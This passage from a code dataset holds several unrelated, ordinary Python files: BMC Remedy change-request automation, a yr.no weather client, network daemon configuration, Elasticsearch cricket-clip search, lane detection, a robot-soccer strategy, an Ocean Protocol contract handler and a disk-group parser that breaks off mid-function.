Frame_Locators\n)\n\n\"\"\"\nThis class will help us to close the Change Request as per user requirement.\nit will inherit the base page class for the basic functionality.\n\nwritten by: jiaul_islam\n\"\"\"\n\n\nclass CloseRequests(BasePage):\n \"\"\" Close the Change Request in BMC Remedy \"\"\"\n\n def __init__(self, driver: WebDriver) -> None:\n super().__init__(driver, timeout=10)\n self.__change_type: bool = False\n self.__change_number: str = \"\"\n self.__invalid_change_numbers: list = []\n\n def __set_change_number(self, change_number: str) -> None:\n \"\"\" Set the value of Change Number \"\"\"\n self.__change_number = change_number\n\n def get_change_number(self) -> str:\n \"\"\" Get the Value of Change Number \"\"\"\n return self.__change_number\n\n def __set_change_type(self) -> None:\n \"\"\" Set the Value of Change Type \"\"\"\n self.__change_type = self.__is_service_effective()\n\n def get_change_type(self) -> bool:\n \"\"\" Get the Change Request type \"\"\"\n return self.__change_type\n\n def get_actual_start_date(self) -> Union[str, None]:\n \"\"\" Get the Closing Change Request Date & Time \"\"\"\n self.click(Date_Locators.DATE_PAGE)\n if self.get_text(Close_Locators.ACTUAL_OPEN_DATE) != \"\":\n return self.get_text(Close_Locators.ACTUAL_OPEN_DATE)\n else:\n return None\n\n @staticmethod\n def get_index_for_change_number(change_number: str, list_of_change_number: list) -> Union[int, None]:\n \"\"\" returns the correct position of the change number from the list \"\"\"\n try:\n return list_of_change_number.index(change_number) + 2\n except ValueError:\n return None\n\n def add_change_to_invalid_list(self, change_number: str) -> None:\n \"\"\" append the invalid change_number found the the invalid list \"\"\"\n self.__invalid_change_numbers.append(change_number)\n\n def find_the_change_request(self, change_number: str, index: int) -> None:\n \"\"\" Find the Change Request with respect to user shared number\"\"\"\n\n final_xpath = \"//table[@id='T301444200']//tr[\" + str(index) + \"]//td[1]/nobr[1]/span\"\n\n dynamicXPATH = Close_Locators.get_changeable_xpath(final_xpath) # get the tuple\n\n try:\n self.double_click(dynamicXPATH)\n self.__set_change_number(change_number) # set the change number for future use\n except NoSuchElementException as error:\n print(error)\n\n def get_invalid_change_numbers(self) -> None:\n \"\"\" Fetch all the invalid change numbers from the list \"\"\"\n if len(self.__invalid_change_numbers):\n print(\"Below change request number not found:\", end=\" \")\n print(\",\".join(self.__invalid_change_numbers))\n\n def __is_task_closed_already(self) -> bool:\n \"\"\" Check if the task is already closed or not \"\"\"\n time.sleep(1)\n if self.get_text(Close_Locators.TASK_INIT_STATUS) == \"Closed\":\n return True\n return False\n\n def is_change_status_closed(self) -> bool:\n \"\"\"\n Check if the Change status is already closed or completed\n \"\"\"\n status = self.get_text(Cancel_Locators.STATUS_AREA)\n\n if status == 'Closed' or status == 'Completed':\n return True\n return False\n\n def __is_service_effective(self) -> bool:\n \"\"\"Check if the current working Change is service effective or not.\n :rtype: bool\n \"\"\"\n try:\n if self.is_visible(Close_Locators.TASK_PLAN_START_DATE):\n if self.get_text(Close_Locators.TASK_PLAN_START_DATE) != self.get_text(\n Close_Locators.TASK_PLAN_END_DATE):\n return True\n except NoSuchElementException as error:\n print(error)\n\n def __back_to_change_task_page(self) -> None:\n \"\"\" Go back to the Change request control page \"\"\"\n makeXPATH = f\"//a[@class='btn'][contains(text(),'{self.__change_number}')]\"\n dynamicXPATH = Close_Locators.get_changeable_xpath(makeXPATH)\n try:\n self.back_to_home_page(dynamicXPATH)\n except ElementClickInterceptedException:\n time.sleep(2)\n self.back_to_home_page(dynamicXPATH)\n time.sleep(2)\n\n def __common_closing_activity(self, start_time: str) -> None:\n \"\"\" Perform the common closing activity in the 3 task \"\"\"\n self.write(Close_Locators.TASK_ACTUAL_START_DATE, start_time)\n if self.get_change_type():\n _start_date: str = self.get_text(Close_Locators.TASK_PLAN_START_DATE)\n _end_date: str = self.get_text(Close_Locators.TASK_PLAN_END_DATE)\n _actual_end_date: str = make_downtime_from_open_time_2(start_time, _start_date, _end_date)\n self.write(Close_Locators.TASK_ACTUAL_END_DATE, _actual_end_date)\n else:\n self.write(Close_Locators.TASK_ACTUAL_END_DATE, start_time)\n self.click(Close_Locators.CLOSE_MENU_SELECT)\n self.hover_over(Close_Locators.SELECT_CLOSE)\n self.click(Close_Locators.SELECT_CLOSE)\n time.sleep(1)\n self.click(Common_Locators.SAVE_TASK_BTN)\n try:\n self.__back_to_change_task_page()\n time.sleep(2)\n except ElementClickInterceptedException:\n self.handle_frame_alert(Frame_Locators.FRAME_OF_CONFIRMATION, Frame_Locators.FRAME_OK_BUTTON)\n self.__back_to_change_task_page()\n\n def close_service_downtime_duration_task(self, actual_start_time: str) -> None:\n \"\"\"\n Close the Task for: Service_Downtime_Duration_Task(2) ,\n If CR Task Status is already closed then will go back to\n the task page.\n \"\"\"\n self.double_click(Task_Locators.SERVICE_DOWNTIME_DURATION_TASK_SPAN)\n\n if not self.__is_task_closed_already():\n self.click(Common_Locators.DATE_SECTOR_IN_TASK)\n self.__set_change_type()\n self.__common_closing_activity(actual_start_time)\n else:\n self.__back_to_change_task_page()\n\n def close_service_downtime_window_task(self, actual_start_time: str, current_time_of_user: str) -> None:\n \"\"\"\n Close the Task for: Service_Downtime_Window_Task(3) ,\n If CR Task Status is already closed then will go back to\n the task page.\n \"\"\"\n try:\n if self.is_visible(Task_Locators.SERVICE_DOWNTIME_WINDOW_TASK_SPAN):\n self.double_click(Task_Locators.SERVICE_DOWNTIME_WINDOW_TASK_SPAN)\n else:\n try:\n time.sleep(2)\n self.double_click(Task_Locators.SERVICE_DOWNTIME_WINDOW_TASK_SPAN)\n except TimeoutException:\n self.double_click(Task_Locators.SERVICE_DOWNTIME_WINDOW_TASK_SPAN)\n except (StaleElementReferenceException, NoSuchElementException):\n element = WebDriverWait(self._driver, self.timeout).until(\n ec.visibility_of_element_located(Task_Locators.SERVICE_DOWNTIME_WINDOW_TASK_SPAN))\n self.double_click(element)\n\n if not self.__is_task_closed_already():\n self.click(Common_Locators.DATE_SECTOR_IN_TASK)\n self.write(Close_Locators.TASK_ACTUAL_START_DATE, actual_start_time)\n self.write(Close_Locators.TASK_ACTUAL_END_DATE, current_time_of_user)\n self.click(Close_Locators.CLOSE_MENU_SELECT)\n self.hover_over(Close_Locators.SELECT_CLOSE)\n self.click(Close_Locators.SELECT_CLOSE)\n time.sleep(1)\n self.click(Common_Locators.SAVE_TASK_BTN)\n self.__back_to_change_task_page()\n else:\n self.__back_to_change_task_page()\n\n def close_system_downtime_duration_task(self, actual_start_time: str) -> None:\n \"\"\"\n Close the Task for: System_Downtime_Task(4) ,\n If CR Task Status is already closed then will go back to\n the task page.\n \"\"\"\n try:\n if self.is_visible(Task_Locators.SYSTEM_DOWNTIME_TASK):\n self.double_click(Task_Locators.SYSTEM_DOWNTIME_TASK)\n else:\n try:\n time.sleep(2)\n self.double_click(Task_Locators.SYSTEM_DOWNTIME_TASK)\n except TimeoutException:\n time.sleep(2)\n self.double_click(Task_Locators.SYSTEM_DOWNTIME_TASK)\n except (StaleElementReferenceException, NoSuchElementException):\n element = WebDriverWait(self._driver, self.timeout).until(\n ec.visibility_of_element_located(Task_Locators.SYSTEM_DOWNTIME_TASK))\n self.double_click(element)\n\n if not self.__is_task_closed_already():\n self.click(Common_Locators.DATE_SECTOR_IN_TASK)\n self.__common_closing_activity(actual_start_time)\n else:\n self.__back_to_change_task_page()\n\n def goto_next_stage(self) -> None:\n \"\"\" Take the Change Request to Next Stage after closing all 3 tasks \"\"\"\n if not self.is_change_status_closed():\n self.click(Close_Locators.NEXT_STAGE_BUTTON)\n self.handle_frame_alert(Frame_Locators.FRAME_OF_CONFIRMATION, Frame_Locators.FRAME_OK_BUTTON)\n else:\n print(\"WARN: Change Status Was Closed already!\")\n\n def goto_task_page(self) -> None:\n \"\"\" Goto the task section on the close change page \"\"\"\n self.click(Task_Locators.TASK_PAGE)\n\n def is_status_scheduled_for_approval(self):\n \"\"\" Check if the current status for CR is Scheduled for approval \"\"\"\n status = self.get_text(Close_Locators.CURRENT_CR_STATUS)\n if status == \"Scheduled For Approval\":\n return True\n return False\n","sub_path":"pages/closerequest.py","file_name":"closerequest.py","file_ext":"py","file_size_in_byte":10523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"19923648","text":"import requests\n\nfrom requests.status_codes import codes\nfrom requests.exceptions import ConnectionError\n\nimport xml.etree.ElementTree as Xml\n\nfrom datetime import datetime, timezone, timedelta\n\n\nclass Weather:\n def __init__(self):\n self.__scheme = 'https://'\n self.__host = 'www.yr.no'\n\n # simple in-memory cache stores a entries of list of\n # [0]: last_modified\n # [1]: temperature\n # [2]: precipitation\n self.__cache = {}\n\n # cache threshold\n self.__cache_threshold = timedelta(minutes=10)\n\n def __str__(self):\n return '%s%s' % (self.__scheme, self.__host)\n\n def __repr__(self):\n return '%s%s' % (self.__scheme, self.__host)\n\n def get_forecast(self, town: str, url_path: str = None, country: str = 'Norway') -> (int, float):\n cache_key = '{}+{}'.format(country, town)\n\n cached_result = self.__get_cache(cache_key)\n if cached_result:\n return cached_result[0], cached_result[1]\n if url_path is None:\n url = f'{self.__scheme}{self.__host}/place/{country}/{town}/{town}/{town}/forecast.xml'\n else:\n url = f'{self.__scheme}{self.__host}/place/{url_path}/forecast.xml'\n try:\n res = requests.get(url=url)\n except ConnectionError as e:\n print(e.strerror)\n return None, None\n\n if res.status_code != codes.OK:\n print(\"could not get the weather data for ({}, {}).\\n\".format(town, country))\n return None, None\n\n if not hasattr(res, 'text'):\n print(\"response has no text attribute.\\n\")\n return None, None\n\n yr_xml = Xml.fromstring(res.text)\n forecast = yr_xml.find('forecast').find('tabular').find('time')\n\n temperature = forecast.find('temperature').attrib['value']\n precipitation = forecast.find('precipitation').attrib['value']\n\n temperature = int(temperature)\n precipitation = float(precipitation)\n\n self.__set_cache(cache_key, temperature, precipitation)\n return temperature, precipitation\n\n def __get_cache(self, key) -> list:\n if key in self.__cache:\n cached_entry = self.__cache[key]\n\n # checks if the cached entry was stored X-minutes or less ago, then return\n # otherwise return an empty list\n last_modified = cached_entry[0]\n if datetime.now(tz=timezone.utc) - last_modified <= self.__cache_threshold:\n return [cached_entry[1], cached_entry[2]]\n return []\n\n def __set_cache(self, key, t, p):\n self.__cache[key] = [datetime.now(tz=timezone.utc), t, p]\n","sub_path":"yr/yr.py","file_name":"yr.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"421771609","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n#\n# Copyright 2013 Mellanox Technologies, Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom oslo.config import cfg\n\n\nLOG_LEVELS = ('DEBUG', 'INFO', 'WARNING', 'ERROR')\ndefault_opts = [cfg.StrOpt('log_file',\n default='/var/log/eswitchd/eswitchd.log',\n help='Full path to log file'),\n cfg.StrOpt('log_level',\n choices=LOG_LEVELS,\n default='DEBUG',\n help='Valid values: %s' % str(LOG_LEVELS)),\n cfg.StrOpt('log_format',\n default=('%(asctime)s %(levelname)s '\n '%(name)s [-] %(message)s'),\n help=('logging format, as supported by the python '\n 'logging module.'))]\n\nDEFAULT_INTERFACE_MAPPINGS = []\nmlx_daemon_opts = [\n cfg.StrOpt('socket_os_transport', default=\"tcp\"),\n cfg.StrOpt('socket_of_transport', default=\"tcp\"),\n cfg.StrOpt('socket_os_port', default=\"60001\"),\n cfg.StrOpt('socket_of_port', default=\"60000\"),\n cfg.StrOpt('socket_os_addr', default=\"0.0.0.0\"),\n cfg.StrOpt('socket_of_addr', default=\"0.0.0.0\"),\n cfg.ListOpt('fabrics',\n default=DEFAULT_INTERFACE_MAPPINGS,\n help=(\"List of :\")),\n cfg.IntOpt('default_timeout',\n default=5000,\n help=('Default timeout waiting for messages')),\n cfg.IntOpt('max_polling_count',\n default=5,\n help=('Daemon will do sync after max_polling_count * default_timeout')),\n cfg.StrOpt('rootwrap_conf',\n default='/etc/eswitchd/rootwrap.conf',\n help=('eswitchd rootwrap configuration file'))\n]\n\neswitch_opts = [\n cfg.ListOpt('physical_interface_mappings',\n help=(\"List of :\"))\n]\n\nof_agent_opts = [\n cfg.BoolOpt('start_of_agent', default=\"no\"),\n cfg.ListOpt('of_agent_mappings',\n #default=['mlx1:127.0.0.1:0002c9397000'],\n help=(\"List of ::\"))\n]\ncfg.CONF.register_opts(default_opts, \"DEFAULT\")\ncfg.CONF.register_opts(mlx_daemon_opts, \"DAEMON\")\ncfg.CONF.register_opts(eswitch_opts, \"ESWITCH\")\ncfg.CONF.register_opts(of_agent_opts, \"OF\")\n","sub_path":"eswitchd/common/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"98216269","text":"from elasticsearch import Elasticsearch\nfrom elasticsearch_dsl import Document, Integer ,Text, Boolean, Keyword, Search, Index\nfrom elasticsearch_dsl.connections import connections\n\nclient = Elasticsearch(hosts='localhost:9200')\n\n\n\ndef search(filters):\n\n s = Search(using=client, index='balls')\n\n if filters['wicket']:\n s = s.filter('term', wicket=True)\n if filters['runs']:\n s = s.filter('term', score=int(filters['runs']))\n if filters['batsman']:\n s = s.query('match', batsmen=filters['batsman'])\n if filters['bowler']:\n s = s.query('match', bowler=filters['bowler'])\n if filters['shot']:\n s = s.query('match', comment=filters['shot'])\n if filters['ball_type']:\n s = s.query('match', comment=filters['ball_type'])\n\n s = s.sort({'match': {'order': 'asc'}},{'innings': {'order': 'asc'}}, {'over': {'order': 'asc'}}, {'ball': {'order': 'asc'}})\n total = s.count()\n response = s[:total].execute()\n print(len(response.hits))\n fnames = []\n for hit in response:\n try:\n if (hit.fname):\n fnames.append(f'/mnt/disks/ipl_2019/output/match_{hit.match}/clips/{hit.fname}')\n print(f'{hit.over}.{hit.ball} {hit.bowler} to {hit.batsmen} {hit.score}, {hit.fname}')\n except:\n print(f'{hit.over}.{hit.ball} {hit.bowler} to {hit.batsmen} {hit.score}, {hit.comment}')\n pass\n\n return fnames\n","sub_path":"server/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"220932158","text":"from collections import deque\nimport numpy as np\nimport parameters as params\n\n# meter to pixel conversion rate\nmpx = params.M_TO_PIX_X\nmpy = params.M_TO_PIX_Y\n# base of the image in m\ny_base = 720*mpy\n\n \ndef compute_curvature_and_position(fit):\n # convert fit parameters to meter\n A = fit[0]*mpx/(mpy**2)\n B = fit[1]*(mpx/mpy)\n C = fit[2]*mpx\n y_evals = np.linspace(0,y_base,11)\n # evaluate at the curvature along the curve\n curvature = (2*A)/ (1 + (2*A*y_evals + B)**2)**1.5\n # take the average of the curvature along the curve and compute the reciprocal to get an approximation for the curvature\n radius_of_curvature = len(y_evals)/sum(curvature)\n # intersection of the fit with the image frame is the base position\n line_base_pos = A*y_base**2+B*y_base+C-params.CAMERA_X\n return radius_of_curvature, line_base_pos\n \n# Define a class to receive the characteristics of each line detection\nclass lane():\n def __init__(self):\n # was the line detected in the last iteration?\n self.degradation = 0 \n # last n fits of the line\n self.lane_history = deque(maxlen=params.ERROR_FRAMES)\n #polynomial coefficients averaged over the last n iterations\n self.best_fit = None \n #radius of curvature of the line in some units\n self.radius_of_curvature = 0.0\n #distance in meters of vehicle center from the line\n self.line_base_pos = 0.0\n #difference in fit coefficients between last and new fits\n self.error_frames = 0\n\n # Update the fit\n def update_fit(self,pts_x,pts_y):\n if len(pts_x)>0:\n current_fit = np.polyfit(pts_y,pts_x,2)\n self.update_lane(current_fit)\n elif (self.degradation>0) and (self.error_framesparams.CURVATURE_MARGIN) and position<3.0:\n return True\n else:\n return False\n\n # Check new fit against last best fit by comparing the curvature and the base position\n def check_relative_plausability(self,radius,position):\n if self.check_plausability(radius,position) and 1/(np.abs(self.radius_of_curvature)*(np.abs(1/self.radius_of_curvature-1/radius))len(self.lane_history)):\n self.degradation = 0\n # If the lane is degraded, the fit is reset (if it is plausible)\n if (self.degradation == 0):\n self.lane_history.clear()\n if (self.check_plausability(radius_of_curvature, line_base_pos)):\n self.error_frames = 0\n self.set_curvature_and_position(radius_of_curvature, line_base_pos)\n self.best_fit=fit\n self.lane_history.clear()\n self.lane_history.append(fit)\n self.degradation = 1\n else:\n self.error_frames+=1\n # Degradation stays at 1 until we find 2 consecutive fits that are \"similar\"\n elif (self.degradation == 1):\n self.lane_history.append(fit)\n self.compute_average_fit()\n if (self.check_relative_plausability(radius_of_curvature,line_base_pos)):\n radius_of_curvature, line_base_pos = compute_curvature_and_position(self.best_fit)\n self.set_curvature_and_position(radius_of_curvature, line_base_pos)\n self.degradation=2\n else:\n radius_of_curvature, line_base_pos = compute_curvature_and_position(self.best_fit)\n self.set_curvature_and_position(radius_of_curvature, line_base_pos)\n self.error_frames+=1\n # Once the fit is established we add new fits to the lane history\n elif (self.degradation == 2):\n if (self.check_relative_plausability(radius_of_curvature,line_base_pos)):\n self.error_frames = 0\n self.lane_history.append(fit)\n self.compute_average_fit()\n radius_of_curvature, line_base_pos = compute_curvature_and_position(self.best_fit)\n self.set_curvature_and_position(radius_of_curvature, line_base_pos)\n # If the new fit differs too much from the old one we add an error frame\n else:\n self.error_frames+=1","sub_path":"lane.py","file_name":"lane.py","file_ext":"py","file_size_in_byte":5225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"372068241","text":"\nfrom models.base_model import SQLModel\nfrom models.user import User\n# from models.weibo import Weibo\n\n\n# 微博评论\nclass Comment(SQLModel):\n # 创建 comment 数据库用的 sql 语句\n # 用 weibo_id 做索引,加快 weibo_id 检索速度\n sql_create = '''\n CREATE TABLE `comment` (\n `id` INT NOT NULL AUTO_INCREMENT,\n `weibo_id` INT NOT NULL,\n `user_id` INT NOT NULL,\n `content` VARCHAR(255) NOT NULL,\n PRIMARY KEY (`id`),\n INDEX `weibo_id_index` (`weibo_id`)\n );\n '''\n\n def __init__(self, form, user_id=-1):\n super().__init__(form)\n self.content = form.get('content', '')\n # 和别的数据关联的方式, 用 user_id 表明拥有它的 user 实例\n self.user_id = form.get('user_id', user_id)\n self.weibo_id = int(form.get('weibo_id', -1))\n\n # Comment.user()\n def user(self):\n u = User.one(id=self.user_id)\n return u\n\n","sub_path":"models/comment.py","file_name":"comment.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"20065881","text":"import math\n\nfrom strategy.BaseStrategy import Strategy\n\n\nfrom algorithms.potential_fields.fields import LineField, PotentialField, PointField\n\n# class Attacker(DebugPotentialFieldStrategy):\n\n\nclass My_Attacker(Strategy):\n def __init__(self, match):\n super().__init__(match, \"SimpleAttacker\")\n \n def start(self, robot=None):\n super().start(robot=robot)\n\n self.behaviour = None\n\n self.seek = PotentialField(self.match,name=\"SeekBehaviour\")\n\n self.aim = PotentialField(self.match,name=\"AimBehaviour\")\n\n def on_angle20(m, f=self.match.game.field):\n field = f.get_dimensions()\n angle_ball_goal = math.atan2((field[1]/2 - m.ball.y), (field[0] - m.ball.x))\n ball_to_goal = (\n m.ball.x - math.cos(angle_ball_goal) * 0.2,\n m.ball.y - math.sin(angle_ball_goal) * 0.2\n )\n\n return ball_to_goal\n\n self.seek.add_field(\n PointField(\n self.match,\n target = on_angle20,\n radius = .05,\n decay = lambda x: x**4,\n multiplier = .75\n )\n )\n\n self.seek.add_field(\n PointField(\n self.match,\n target = lambda m : (m.ball.x, m.ball.y),\n radius = .12,\n radius_max = .12,\n decay = lambda x: 1,\n multiplier = -.75\n )\n )\n\n for robot in self.match.robots + self.match.opposites:\n if robot.get_name() == self.robot.get_name():\n continue \n self.seek.add_field(\n PointField(\n self.match,\n target = lambda m, r=robot: (\n r.x,\n r.y\n ),\n radius = .2,\n radius_max = .2,\n decay = lambda x: 1,\n multiplier = -.75\n )\n )\n\n def on_angle35(m, f=self.match.game.field):\n field = f.get_dimensions()\n angle_ball_goal = math.atan2((field[0] - m.ball.x), (field[1]/2 - m.ball.y))\n ball_to_goal = (\n m.ball.x - math.cos(angle_ball_goal) * 0.035,\n m.ball.y - math.sin(angle_ball_goal) * 0.035\n )\n\n return ball_to_goal\n\n self.aim.add_field(\n PointField(\n self.match,\n target = on_angle35,\n radius = .015,\n decay = lambda x: x,\n multiplier = .65\n )\n )\n\n self.aim.add_field(\n LineField(\n self.match,\n target = lambda m : (m.ball.x, m.ball.y),\n theta = lambda m, f=self.match.game.field: math.atan2((f.get_dimensions()[0] - m.ball.x), (f.get_dimensions()[1]/2 - m.ball.y)) + math.pi/2,\n line_size = .5,\n line_size_single_size=True,\n line_dist = .1,\n line_dist_max = .1,\n decay = lambda x: 1,\n multiplier = .1\n )\n )\n \n \n \n def decide(self):\n robot = self.robot\n ball = self.match.ball\n field = self.match.game.field.get_dimensions()\n\n angle_ball_goal = math.atan2((field[1]/2 - ball.y), (field[0] + 0.2 - ball.x))\n ball_to_goal = (\n ball.x - math.cos(angle_ball_goal) * 0.2,\n ball.y - math.sin(angle_ball_goal) * 0.2\n )\n is_near = lambda o, t, err: o - err <= t <= o + err\n\n if self.behaviour == None:\n self.behaviour = self.seek\n \n elif self.behaviour == self.seek:\n if (\n is_near(robot.x, ball_to_goal[0], 0.04) \n and is_near(robot.y, ball_to_goal[1], 0.05)):\n self.behaviour = self.aim \n else:\n pass\n elif self.behaviour == self.aim:\n if robot.x >= self.match.ball.x:\n self.behaviour = self.seek\n \n #return super().decide(self.behaviour)\n return self.behaviour.compute([self.robot.x, self.robot.y])","sub_path":"strategy/tests/guideAttacker.py","file_name":"guideAttacker.py","file_ext":"py","file_size_in_byte":4282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"531608603","text":"# Copyright 2018 Ocean Protocol Foundation\n# SPDX-License-Identifier: Apache-2.0\n\nimport json\nimport logging\nimport os\n\nfrom web3.contract import ConciseContract\n\nfrom squid_py.config_provider import ConfigProvider\nfrom squid_py.keeper import Keeper\nfrom squid_py.keeper.web3_provider import Web3Provider\n\nlogger = logging.getLogger(__name__)\n\n\nclass ContractHandler(object):\n \"\"\"\n Manages loading contracts and also keeps a cache of loaded contracts.\n\n Retrieval of deployed keeper contracts must use this `ContractHandler`.\n Example:\n contract = ContractHandler.get('ServiceExecutionAgreement')\n concise_contract = ContractHandler.get_concise_contract('ServiceExecutionAgreement')\n\n \"\"\"\n _contracts = dict()\n\n @staticmethod\n def get(name):\n \"\"\"\n Return the Contract instance for a given name.\n\n :param name: Contract name, str\n :return: Contract instance\n \"\"\"\n return (ContractHandler._contracts.get(name) or ContractHandler._load(name))[0]\n\n @staticmethod\n def get_concise_contract(name):\n \"\"\"\n Return the Concise Contract instance for a given name.\n\n :param name: Contract name, str\n :return: Concise Contract instance\n \"\"\"\n return (ContractHandler._contracts.get(name) or ContractHandler._load(name))[1]\n\n @staticmethod\n def set(name, contract):\n \"\"\"\n Set a Contract instance for a contract name.\n\n :param name: Contract name, str\n :param contract: Contract instance\n \"\"\"\n ContractHandler._contracts[name] = (contract, ConciseContract(contract))\n\n @staticmethod\n def has(name):\n \"\"\"\n Check if a contract is the ContractHandler contracts.\n\n :param name: Contract name, str\n :return: True if the contract is there, bool\n \"\"\"\n return name in ContractHandler._contracts\n\n @staticmethod\n def _load(contract_name):\n \"\"\"Retrieve the contract instance for `contract_name` that represent the smart\n contract in the keeper network.\n\n :param contract_name: str name of the solidity keeper contract without the network name.\n :return: web3.eth.Contract instance\n \"\"\"\n contract_definition = ContractHandler.get_contract_dict_by_name(contract_name)\n address = Web3Provider.get_web3().toChecksumAddress(contract_definition['address'])\n abi = contract_definition['abi']\n contract = Web3Provider.get_web3().eth.contract(address=address, abi=abi)\n ContractHandler._contracts[contract_name] = (contract, ConciseContract(contract))\n return ContractHandler._contracts[contract_name]\n\n @staticmethod\n def _get_contract_file_path(_base_path, _contract_name, _network_name):\n contract_file_name = '{}.{}.json'.format(_contract_name, _network_name)\n for name in os.listdir(_base_path):\n if name.lower() == contract_file_name.lower():\n contract_file_name = name\n return os.path.join(ConfigProvider.get_config().keeper_path, contract_file_name)\n return None\n\n @staticmethod\n def get_contract_dict_by_name(contract_name):\n \"\"\"\n Retrieve the Contract instance for a given contract name.\n\n :param contract_name: str\n :return: the smart contract's definition from the json abi file, dict\n \"\"\"\n\n network_name = Keeper.get_network_name(Keeper.get_network_id()).lower()\n artifacts_path = ConfigProvider.get_config().keeper_path\n\n # file_name = '{}.{}.json'.format(contract_name, network_name)\n # path = os.path.join(keeper.artifacts_path, file_name)\n path = ContractHandler._get_contract_file_path(\n artifacts_path, contract_name, network_name)\n if not (path and os.path.exists(path)):\n path = ContractHandler._get_contract_file_path(\n artifacts_path, contract_name, network_name.lower())\n\n if not (path and os.path.exists(path)):\n path = ContractHandler._get_contract_file_path(\n artifacts_path, contract_name, Keeper.DEFAULT_NETWORK_NAME)\n\n if not (path and os.path.exists(path)):\n raise FileNotFoundError(\n f'Keeper contract {contract_name} file '\n f'not found in {artifacts_path} '\n f'using network name {network_name}'\n )\n\n with open(path) as f:\n contract_dict = json.loads(f.read())\n return contract_dict\n","sub_path":"squid_py/keeper/contract_handler.py","file_name":"contract_handler.py","file_ext":"py","file_size_in_byte":4515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"561516151","text":"'''\nCreated on Nov 24, 2016\n\n@author: Julia_Hong\n'''\n\nimport json\nfrom libs.queryNodeIP import queryNodeIP\nfrom tasks.fetchData.getBasicConfig import appCfg\nfrom testdata.testdata import testdata\nfrom testdata.testdata_buildsystem import testdata_buildsystem\n\n\nclass getMultiDiskGroupFromPtagent():\n def __init__(self):\n self.__dell_type = testdata_buildsystem().get_dell_type()\n self.__disk_group = testdata().get_model_image_list(self.__dell_type,\"diskGroup\")\n \n #get api/PT/v1/host/drives info from ptagentResult\n def getDrivesDict(self, esxiIP):\n ptagent_report = testdata().get_report_repository() + 'ptagentTestResult_Dell%s_%s.json'%(appCfg().get_app_num(),esxiIP)\n with open(ptagent_report) as f:\n ptagentresult = json.load(f)\n \n for elem in ptagentresult:\n if elem[\"api\"] == \"api/PT/v1/host/drives\" and elem[\"requestMethod\"] == \"Post\":\n hostDrives = elem\n else: \n pass\n \n drivesdict = hostDrives[\"result\"][\"Drives\"][\"Drive\"]\n return drivesdict\n \n #get cache number from api/PT/v1/host/drives info\n def getCacheNum(self, drivesdict):\n SSDNum = 0\n for index in range(len(drivesdict)):\n for i in range(len(self.__disk_group)):\n disk_slot = self.__disk_group[i][\"slot\"]\n if str(disk_slot) == str(drivesdict[index][\"Slot\"]):\n if drivesdict[index][\"Type\"] == \"SSD\" and drivesdict[index].has_key(\"TargetPortWwn\"):\n SSDNum = SSDNum + 1\n return SSDNum\n \n #get capacity number from api/PT/v1/host/drives info\n def getCapacityNum(self, drivesdict):\n HDDNum = 0\n for index in range(len(drivesdict)):\n if drivesdict[index][\"Type\"] == \"HDD\" and drivesdict[index].has_key(\"TargetPortWwn\"):\n HDDNum = HDDNum + 1\n if drivesdict[index][\"Type\"] == \"SSD\" and drivesdict[index].has_key(\"TargetPortWwn\"):\n HDDNum = HDDNum + 1\n for i in range(len(self.__disk_group)):\n disk_slot = self.__disk_group[i][\"slot\"]\n if drivesdict[index][\"Type\"] == \"SSD\" and str(disk_slot) == str(drivesdict[index][\"Slot\"]):\n HDDNum = HDDNum - 1\n return HDDNum\n \n #get cache uuid from api/PT/v1/host/drives info\n def getCacheUUID(self, drivesdict):\n cacheUUIDList = []\n for index in range(len(drivesdict)):\n for i in range(len(self.__disk_group)):\n disk_slot = self.__disk_group[i][\"slot\"]\n if str(disk_slot) == str(drivesdict[index][\"Slot\"]):\n if drivesdict[index][\"Type\"] == \"SSD\" and drivesdict[index].has_key(\"TargetPortWwn\"):\n UUID = drivesdict[index][\"OSPath\"].split('/')[-1]\n UUID = UUID[:20]\n cacheUUIDList.append(UUID)\n return cacheUUIDList\n \n #get capacity uuid from api/PT/v1/host/drives info\n def getCapacityUUID(self, drivesdict):\n capacityUUIDList = []\n for index in range(len(drivesdict)):\n if drivesdict[index][\"Type\"] == \"HDD\" and drivesdict[index].has_key(\"TargetPortWwn\"):\n UUID = drivesdict[index][\"OSPath\"].split('/')[-1]\n UUID = UUID[:20]\n capacityUUIDList.append(UUID)\n if drivesdict[index][\"Type\"] == \"SSD\" and drivesdict[index].has_key(\"TargetPortWwn\"):\n UUID = drivesdict[index][\"OSPath\"].split('/')[-1]\n UUID = UUID[:20]\n capacityUUIDList.append(UUID)\n for i in range(len(self.__disk_group)):\n disk_slot = self.__disk_group[i][\"slot\"]\n if drivesdict[index][\"Type\"] == \"SSD\" and str(disk_slot) == str(drivesdict[index][\"Slot\"]):\n UUID = drivesdict[index][\"OSPath\"].split('/')[-1]\n UUID = UUID[:20]\n capacityUUIDList.remove(UUID)\n return capacityUUIDList\n \n #generate the result dict \n def multiDiskGroupInfodict(self, esxiIP):\n multiDiskGroupRequ=['capacity number', 'cache number', 'capacity guid', 'cache guid']\n multiDiskGroupInfodict = {}\n drivesdict = getMultiDiskGroupFromPtagent().getDrivesDict(esxiIP)\n capacityNum = getMultiDiskGroupFromPtagent().getCapacityNum(drivesdict)\n 